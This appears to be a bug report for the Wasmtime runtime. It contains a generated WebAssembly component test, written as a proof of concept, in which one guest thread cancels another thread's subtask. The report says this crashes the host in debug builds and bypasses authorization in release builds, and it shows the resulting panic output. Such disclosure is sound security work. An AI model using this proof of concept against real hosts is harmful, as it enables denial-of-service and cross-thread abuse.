This test, which is generated and needs to be cleaned up:
;;! component_model_async = true
;;! component_model_threading = true
;;! reference_types = true
;;! multi_memory = true
;; Vulnerability: debug_assert_eq in subtask_cancel compiled out in release builds.
;;
;; concurrent.rs line 3604:
;; debug_assert_eq!(expected_caller, concurrent_state.current_guest_thread()?);
;;
;; This check verifies that the thread calling subtask.cancel is the same thread
;; that created the subtask. In debug builds, this fires a panic (crashing the
;; host). In release builds, the debug_assert is compiled out, so ANY thread
;; within the same component instance can cancel any other thread's running subtask.
;;
;; Security impact:
;; - Debug builds: Host process crash (DoS) — exit code 101
;; - Release builds: Cross-thread authorization bypass — a malicious thread
;; can cancel running subtasks belonging to other threads
(component
;; Callee: async export that yields to stay alive
(component $callee
(core module $m
(func $do_work (export "do-work") (result i32)
;; Return YIELD to stay alive (not finished yet)
(i32.const 1 (; YIELD ;))
)
(func $callback (export "callback") (param i32 i32 i32) (result i32)
;; Keep yielding — never return. This keeps the subtask in "running" state.
(i32.const 1 (; YIELD ;))
)
)
(core instance $m (instantiate $m))
(func (export "do-work") async (canon lift
(core func $m "do-work")
async (callback (func $m "callback"))
))
)
;; Caller: spawns an explicit thread that cancels the main thread's subtask
(component $caller
(import "do-work" (func $do-work async))
(core module $libc
(memory (export "memory") 1)
(table (export "__indirect_function_table") 1 funcref)
)
(core instance $libc (instantiate $libc))
(alias core export $libc "memory" (core memory $memory))
(alias core export $libc "__indirect_function_table" (core table $table))
(core module $m
(import "" "do-work" (func $do_work (result i32)))
(import "" "task.return" (func $task_return))
(import "" "subtask.cancel" (func $subtask_cancel (param i32) (result i32)))
(import "" "subtask.drop" (func $subtask_drop (param i32)))
(import "" "thread.new-indirect" (func $thread_new (param i32 i32) (result i32)))
(import "" "thread.unsuspend" (func $thread_unsuspend (param i32)))
(import "" "thread.yield" (func $thread_yield (result i32)))
(import "" "thread.index" (func $thread_index (result i32)))
(import "" "memory" (memory 1))
(import "libc" "__indirect_function_table" (table $table 1 funcref))
(global $main_idx (mut i32) (i32.const 0))
;; Explicit thread entry: receives subtask handle as context, cancels it.
;; This violates the invariant that only the creating thread should cancel
;; a subtask. In debug builds, the debug_assert_eq fires and crashes.
(func $thread_entry (param $subtask_handle i32)
;; Cancel the subtask that belongs to the MAIN thread.
;; In debug builds: debug_assert_eq(expected_caller=main_thread,
;; current_guest_thread=this_thread) fires → panic → host crash.
;; In release builds: silently succeeds (authorization bypass).
(drop (call $subtask_cancel (local.get $subtask_handle)))
;; Reschedule the main thread so it can exit
(call $thread_unsuspend (global.get $main_idx))
)
(export "thread_entry" (func $thread_entry))
;; Initialize function table with thread entry function
(elem (table $table) (i32.const 0) func $thread_entry)
;; Main function
(func $run (export "run") (result i32)
(local $subtask i32)
(local $new_thread i32)
;; Save main thread index for the spawned thread to unsuspend us
(global.set $main_idx (call $thread_index))
;; Call async import → get (BLOCKED | (subtask_handle << 4))
(local.set $subtask (i32.shr_u (call $do_work) (i32.const 4)))
;; Spawn an explicit thread that will CANCEL the subtask from a
;; DIFFERENT thread context. Pass the subtask handle as context.
(local.set $new_thread
(call $thread_new (i32.const 0) (local.get $subtask)))
;; Unsuspend the new thread and yield to let it run
(call $thread_unsuspend (local.get $new_thread))
(drop (call $thread_yield))
;; After being unsuspended by the explicit thread, drop the
;; (now-cancelled) subtask and return.
(call $subtask_drop (local.get $subtask))
(call $task_return)
(i32.const 0 (; EXIT ;))
)
;; Callback for the async export (should not be reached)
(func $callback (export "callback") (param i32 i32 i32) (result i32)
unreachable
)
)
(core type $start_func_ty (func (param i32)))
(canon lower (func $do-work) async (memory $memory) (core func $do_work'))
(core func $task.return (canon task.return))
(core func $subtask.cancel (canon subtask.cancel))
(core func $subtask.drop (canon subtask.drop))
(core func $thread.new-indirect (canon thread.new-indirect $start_func_ty (table $table)))
(core func $thread.unsuspend (canon thread.unsuspend))
(core func $thread.yield (canon thread.yield))
(core func $thread.index (canon thread.index))
(core instance $m (instantiate $m (with "" (instance
(export "do-work" (func $do_work'))
(export "task.return" (func $task.return))
(export "subtask.cancel" (func $subtask.cancel))
(export "subtask.drop" (func $subtask.drop))
(export "thread.new-indirect" (func $thread.new-indirect))
(export "thread.unsuspend" (func $thread.unsuspend))
(export "thread.yield" (func $thread.yield))
(export "thread.index" (func $thread.index))
(export "memory" (memory $memory))
)) (with "libc" (instance
(export "__indirect_function_table" (table $table))
))))
(func (export "run") async (canon lift
(core func $m "run")
async (callback (func $m "callback"))
))
)
(instance $callee (instantiate $callee))
(instance $caller (instantiate $caller
(with "do-work" (func $callee "do-work"))
))
(func (export "run") (alias export $caller "run"))
)
;; In debug builds: this crashes the host (exit code 101) due to
;; debug_assert_eq!(expected_caller, current_guest_thread()) firing in
;; subtask_cancel at concurrent.rs line 3604.
;;
;; In release builds: this succeeds (the cross-thread cancel is silently allowed),
;; demonstrating the authorization bypass.
(assert_trap (invoke "run") "")
currently fails
$ cargo run wast -W component-model-async,component-model-threading vuln3_cross_thread_subtask_cancel.wast
Finished `dev` profile [unoptimized + debuginfo] target(s) in 0.14s
Running `/home/alex/code/wasmtime2/target/debug/wasmtime wast -W component-model-async,component-model-threading vuln3_cross_thread_subtask_cancel.wast`
thread 'main' (405121) panicked at crates/wasmtime/src/runtime/component/concurrent.rs:3604:9:
assertion `left == right` failed
left: QualifiedThreadId(0, 2)
right: QualifiedThreadId(0, 7)
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace
This test, which is generated and needs to be cleaned up:
currently fails